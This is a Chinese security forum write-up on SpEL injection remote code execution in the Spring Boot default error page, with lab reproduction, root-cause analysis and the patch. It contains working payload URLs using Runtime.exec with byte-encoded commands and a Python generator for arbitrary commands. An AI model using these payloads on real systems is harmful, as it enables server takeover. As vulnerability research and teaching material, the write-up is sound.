用户
搜索
  • TA的每日心情
    开心
    2021-6-26 11:05
  • 签到天数: 21 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    18

    主题

    47

    帖子

    913

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2021-7-20 09:51:10 31395
    本帖最后由 精通linux开关机 于 2021-7-26 13:39 编辑

    Spring 默认错误页面命令执行

    本篇文章作者开关机,本篇文章参与i春秋作家连载计划所属开关机团队,未经许可禁止转载。

    一、漏洞简介

    ​                Spring 表达式语言(简称 SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似Struts2 的OGNL。但提供了额外的功能,最显着的是方法调用和基本的字符串模板功能,这进而也可能导致模板注入。

    a1.png

    ​                Spring 默认错误页面存在SpEL注入RCE,但该漏洞并未申报CVE,为了描述方便,本文将其称为CVE-2017。CVE-2017 与 CVE-2016-4977 (Spring Security OAuth RCE)有不少相似之处:

    • 均是Spring 安全漏洞
    • 均是SPEL注入导致RCE
    • 漏洞触发点均发生在错误视图

    因为存在众多相似点,不少安全人员将两者混为一谈。

    在差异方面,两者的差异在于:

    • CVE-2017 存在前提条件(需在自定义页面中,触发异常 转至SpringBoot 默认错误页面)
    • CVE-2016-4977 默认即可触发(当认证失败<通过>时,默认使用Whitelabel作为视图来返回错误页面,视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数)
    相同点 不同点
    均是Spring 安全漏洞 CVE-2017 需找寻报错接口页面(在接口页面中,使用畸形数据,触发异常到达 SpringBoot 默认错误页面)
    均是SPEL注入导致RCE CVE-2016-4977 默认即可触发(当认证失败<通过>时,默认使用Whitelabel作为视图来返回错误页面,视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数)
    漏洞触发点均发生在错误视图 CVE-2017在Spring 1.X影响范围远大于CVE-2016-4977

    二、漏洞影响

    Spring Boot 1.1.0-1.1.12

    Spring Boot 1.2.0-1.2.7

    Spring Boot 1.3.0

    (需fuzz得到 默认错误页面的接口及参数名)

    三、环境搭建

    https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

    a2.png

    四、复现过程

    Fuzz接口,观察到Whitelabel Error Page页面返回状态码500

    a3.png

    进一步拼接参数Fuzz接口,拼接name等常用参数。

    a4.png

    进一步拼接参数Fuzz接口,拼接id等常用参数,观察到页面发生变化。

    a5.png

    使用${}继续Fuzz id参数。

    http://127.0.0.1:9091/article?id=${2664/4}

    a6.png

    使用calc命令验证 RCE。

    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}

    a7.png

    使用 DNSLOG 命令验证 RCE。

    a8.png

    五、漏洞原理

    • spring boot 处理用户输入值出错后,报错流程进入 org.springframework.util.PropertyPlaceholderHelper 类中,用 parseStringValue 方法,对${}进行递归解析用户输入值。

    • 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。

      代码层面观察,程序如何在错误页面中执行用户输入的代码表达式:

    1.页面模板

    默认错误页面Whitelabel Error Page页面模板

    <html>
        <body>
        <h1>Whitelabel Error Page</h1>
        <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
        <div id='created'>${timestamp}</div>
        <div>There was an unexpected error (type=${error}, status=${status}).</div>
        <div>${message}</div>
        </body>
    </html>

    不难发现,此页面将动态生成,生成的页面包含存在时间戳、网页状态、message等基本信息。

    效果如下图所示:

    a9.png

    2.message可控

    漏洞在于message参数由用户指定,在this.context中可看到,message参数由用户指定。

    报错页面设计message回显,应是为了让用户知晓,先前输入的字符串内容不正确,并不期望程序将用户输入作表达式执行。

    context上下文参数查看,效果如下图所示:

    a10.png

    3.代码界定符

    如将${}直接传递至SpEL将报错,程序需要将${}去除,将内部 40*5 取出操作发生在substring处。此次回答了使用${},而不用SpEL默认 #{…} 作为定界符。

    去除定界符,效果如下图所示:

    a11.png

    4.特殊字符绕过

    因为在解析SpEL前,在上下文context中取出用户输入message值要进行html实体化,凡payload中带有'" 特殊字符会被html实体转义,导致不能预期的执行代码,故payload需保证html编码后依然发挥作用。

    Object value = expression.getValue(this.context);
    return HtmlUtils.htmlEscape(value == null ? null : value.toString());

    可以通过String类动态生成特殊字符,最终构造:

    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

    5.批量扫描

    综上原理,设计资产漏洞扫描器时,为提高该漏洞特征识别,可预先扫描JS文件得到接口和参数,使用接口并拼接参数=${特征值识别},若发现response中报错页面将特征值回显,可确定目标存在SpEL表达式漏洞。

    六、POC构造

    使用python或在线网页工具,将字符串中字符逐个转换为 0x63 字节形式,绕过html实体编码:

    # -*- coding:utf-8*-
    #  gen_byte
    #  example:   ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
    
    byte_letter = ""
    command = 'calc'
    for x in command:
        byte_letter += hex(ord(x)) + ","
    exec = byte_letter.rstrip(',')
    print("${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{"+exec+ "}))}")

    a12.png

    执行效果

    a13.png

    七、修复方法

    升级至1.3.1及以上版本

    修复细节如下:

    https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

    NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");

    补丁通过使用新创建的NonRecursivePropertyPlaceholderHelper类,防止parseStringValue递归解析。

    八、小结

    ​                SPEL表达式较为灵活,其可以很好地适配业务中“经常变化”的部分,这可能是“业务规则”,也可能是“不同的数据处理逻辑”,常见的SPEL实现资源的注入有如:调用各种资源的情况,包含普通文件、网址、配置文件、系统环境变量。

    ​                在审计中,可使用关键字加快进展,如org.springframework.expression.spel.standard、  expression.getValue()expression.setValue()

    ​                在项目中运用Spel技术的开发人员编程水平通常较高,也正是这种巧妙运用,使得漏洞较为隐蔽,较难实现一致性修复,需要安全人员付出足够耐心去寻找查核修复完成情况。

    发表于 2021-7-20 11:57:35
    表哥加油,中午有鸡腿吃!
    对论坛发展有任何想法
    欢迎+QQ826177911来搞事!
    使用道具 举报 回复
    这是一条非常高质量的评语
    使用道具 举报 回复
    发表于 2021-7-21 12:49:02
    加油加油加油
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册